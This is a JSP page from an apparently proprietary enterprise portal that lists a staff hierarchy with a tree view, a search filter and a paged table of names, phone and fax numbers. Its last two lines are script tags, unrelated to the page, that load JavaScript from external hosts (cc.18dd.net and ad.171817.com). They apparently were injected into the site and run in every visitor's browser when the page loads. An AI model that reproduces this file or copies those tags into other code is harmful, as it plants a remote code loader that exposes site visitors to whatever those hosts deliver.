<%
/*
 * @(#)ListStaffHierarchy.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListStaffHierarchy.jsp

  This is a ListStaffHierarchy page.  It shows the staff hierarchy in EIP.

    @author             Wong Yam Lee
    @company            DCIVision Ltd
    @creation date      28/07/2003
    @version            $Revision: 1.25.4.19 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/staff" prefix="staff" %>

<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listStaffHierarchyForm" scope="request" class="com.dcivision.staff.web.ListStaffHierarchyForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OldTree.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript">
<!--

function StafffHierarchyFormReset() {
  var lshForm = document.listStaffHierarchyForm;
  lshForm.parentID.value=0;
  lshForm.levelNo.value=1;
  return(OpListReset(lshForm));
}

-->
</script>
<!-- Common Javascript End -->
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "staffHierarchyList";

  final int MAX_LVL = Integer.parseInt(SystemParameterFactory.getSystemParameter(SystemParameterConstant.STAFF_HIERARCHY_LEVEL));
  int parentID = request.getParameter("parentID") != null ?  Integer.parseInt(request.getParameter("parentID")) : Integer.parseInt(listStaffHierarchyForm.getParentID());
  int levelNo = request.getParameter("levelNo") != null ?  Integer.parseInt(request.getParameter("levelNo")) : 1;
  int grandParentID = 0;
  List fullStaffList = (List)request.getAttribute("fullStaffList");
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"staff.columnheader.name", "NAME"},
                            {"staff.columnheader.phone_no", "PHONE_NO"},
                            {"staff.columnheader.fax_no", "FAX_NO"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"staff.label.name", "NAME"},
                            {"staff.label.phone_no", "PHONE_NO"},
                            {"staff.label.fax_no", "FAX_NO"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
  if(!Utility.isEmpty(fullStaffList)){
    grandParentID = ((StaffHierarchy)fullStaffList.get(fullStaffList.size()-1)).getParentID().intValue();
  }
%>

<!-- Form Section Begin -->
<html:form action="staff/ListStaffHierarchy" method="post" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type="hidden" name="parentID" value="<%=parentID%>">
<input type="hidden" name="levelNo" value="<%=levelNo%>">

<layout:listBar>
    <div class="button">
    <html:permissionButton label="common.label.new" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" link='<%="MaintStaffHierarchy.do?parentID=" + parentID + "&levelNo=" + levelNo%>'/>
    <%if(parentID > 0){%>
    <html:standardButton label="common.label.goup" link='<%="ListStaffHierarchy.do?parentID=" + grandParentID + "&levelNo=" + (levelNo-1)%>'/>
    <%}%>
    <html:permissionButton label="common.label.delete" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" onClick="return(OpListDelete(listStaffHierarchyForm));"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listStaffHierarchyForm, '${listStaffHierarchyForm.sortAttribute}', '${listStaffHierarchyForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(StafffHierarchyFormReset())"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- No1 begin-->
<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
  
  <td valign="top" class="dtreeContainer">
<!-- Hierarchy Tree Begin -->
<div id="treeContainer">
<div id="treeFrame" class="dtreeContainer">
<staff:staffTree parentID ="<%=String.valueOf(parentID)%>" action="ListStaffHierarchy.do" />
</div>
</div>
<script language="javascript">
<!--
  var divHeight = (<%=listStaffHierarchyForm.getPageOffset()%>)*(21)+23+24;
  FindObj("treeFrame").style.height = divHeight+"px";
  findCurrentNodeAndExpandParent(node0);
-->
</script>
<!-- Hierarchy Tree End -->
  </td>

<td valign="top">

<div id="listContainer">

  <!-- Table Showing Record List Begin -->
  <div id="dataGrid" class="listTable">
  <table>
  
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listStaffHierarchyForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listStaffHierarchyForm.getSortAttribute()%>" sortOrder="<%=listStaffHierarchyForm.getSortOrder()%>"/>
    </tr>
    <!-- Table Column Header End -->
	
    <!-- Record Looping Begin -->
    <logic:iterate id="staffHierarchy" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)staffHierarchy).getID()%>);">
      <td align="center">
        <logic:permission right='D'>
        <input type="checkbox" name="basicSelectedID" value="<bean:write name='staffHierarchy' property='ID'/>" onclick="return(false);">
        <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
        </logic:permission>
      </td>
      <td align="center">
        <logic:permission right='E'>
        <a href="MaintStaffHierarchy.do?navMode=E&ID=<bean:write name='staffHierarchy' property='ID'/>&parentID=<bean:write name='staffHierarchy' property='parentID'/>&levelNo=<bean:write name='staffHierarchy' property='levelNo'/>"><html:img src='IconEdit.gif' align='absmiddle'/></a>
        <html:img src='IconEditDisable.gif' align='absmiddle'/>
        </logic:permission>
      </td>
      <td align="center">
        <logic:permission right='C'>
        <a href="MaintStaffHierarchy.do?navMode=C&ID=<bean:write name='staffHierarchy' property='ID'/>&parentID=<bean:write name='staffHierarchy' property='parentID'/>&levelNo=<bean:write name='staffHierarchy' property='levelNo'/>"><html:img src='IconCopy.gif' align='absmiddle'/></a>
        <html:img src='IconCopyDisable.gif' align='absmiddle'/>
        </logic:permission>
      </td>
      <td nowrap><a href="MaintStaffHierarchy.do?navMode=V&ID=<bean:write name='staffHierarchy' property='ID'/>&parentID=<bean:write name='staffHierarchy' property='parentID'/>&levelNo=<bean:write name='staffHierarchy' property='levelNo'/>"><bean:write name='staffHierarchy' property='name'/></a>
      </td>
      <td><bean:write name='staffHierarchy' property='phoneNo'/></td>
      <td><bean:write name='staffHierarchy' property='faxNo'/></td>
      <td class="bodyVerySmall" nowrap><bean:write name='staffHierarchy' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
      <td class="bodyVerySmall"><bean:write name='staffHierarchy' property='updaterName'/></td>
    </tr>
    </logic:iterate>
	<!-- Record Looping End -->
	
  </table>
  </div>
  <!-- Table Showing Record List End -->
  
    <!-- Pager Information Begin -->
    <div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
    <layout:pager form="listStaffHierarchyForm" name='<%=LIST_NAME%>'>
      <div class="statement"><layout:pagerInfo/></div>
      <div class="sepBar"><layout:pagerIndex/></div>
    </layout:pager>
    </div>
    <!-- Pager Information End -->
	
  </div>
  
  
</td></tr></table>
</div>
<!-- No1 end-->
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeFrame')});</script>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>